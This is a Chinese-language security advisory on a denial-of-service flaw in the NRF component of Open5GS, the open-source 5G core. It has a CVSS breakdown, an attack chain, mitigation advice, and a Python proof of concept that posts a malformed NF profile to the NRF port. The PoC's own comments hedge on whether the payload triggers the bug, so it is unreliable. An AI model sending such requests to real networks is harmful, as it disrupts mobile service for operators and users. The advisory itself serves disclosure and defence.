IPBUF安全漏洞报告
English
CVE-2026-8291 CVSS 4.3 中危

CVE-2026-8291 Open5GS拒绝服务漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-8291
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSNRF5G核心网CVE-2026-8291

漏洞概述

Open5GS是一款开源5G核心网软件。CVE-2026-8291影响Open5GS 2.7.7及更早版本。漏洞源于NRF组件的`lib/sbi/nnrf-handler.c`文件中`ogs_nnrf_nfm_handle_nf_profile`函数的处理逻辑缺陷。远程攻击者无需用户交互即可利用该漏洞,通过精心构造的数据包触发拒绝服务条件。目前利用代码已公开,修复补丁正在等待合并,建议尽快采取防护措施。

技术细节

该漏洞位于Open5GS的NRF(网络存储库功能)组件中,具体涉及`lib/sbi/nnrf-handler.c`文件的`ogs_nnrf_nfm_handle_nf_profile`函数。该函数负责处理网络功能(NF)的配置文件请求。由于代码在处理特定的SBI(Service Based Interface)消息时存在边界检查或逻辑错误,攻击者可以向NRF服务接口发送特制的HTTP请求(如NF Profile注册或更新请求)。根据CVSS向量(AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L),攻击者只需低权限即可通过网络发起攻击,无需用户交互。成功利用该漏洞会导致Open5GS进程崩溃或挂起,从而破坏网络服务的可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出暴露在互联网上的Open5GS NRF服务端口(默认为TCP 7777)。
STEP 2
2. 构造恶意载荷
攻击者分析漏洞代码,构造能够触发`ogs_nnrf_nfm_handle_nf_profile`函数逻辑错误的特制NF Profile数据包。
STEP 3
3. 发起攻击
攻击者向目标NRF接口发送包含恶意载荷的HTTP POST请求。
STEP 4
4. 拒绝服务
目标Open5GS进程在解析请求时触发异常崩溃,导致5G核心网服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual target IP TARGET_PORT = "7777" # Default Open5GS NRF SBI port URL = f"http://{TARGET_IP}:{TARGET_PORT}/nnrf-nfm/v1/nf-profile" # Malformed payload designed to trigger ogs_nnrf_nfm_handle_nf_profile issue # This payload attempts to send a structure that lacks expected mandatory fields # or contains null values that the handler fails to check. payload = { "nfInstanceId": "", "nfType": "AMF", "nfStatus": "REGISTERED", # Potentially missing critical fields or malformed JSON structure "ipv4Addresses": ["invalid_ip_format"] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit request to {URL}...") response = requests.post(URL, data=json.dumps(payload), headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("If the service crashed, the connection may be reset or timeout.") except requests.exceptions.RequestException as e: print(f"Request failed (potential DoS triggered): {e}")

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
在官方补丁发布并应用前,建议通过访问控制列表(ACL)限制对Open5GS NRF服务端口的网络访问,仅允许内部网元通信。同时,管理员应密切监控Open5GS系统日志及进程状态,若发现异常重启或崩溃,应及时排查并隔离受影响节点。

参考链接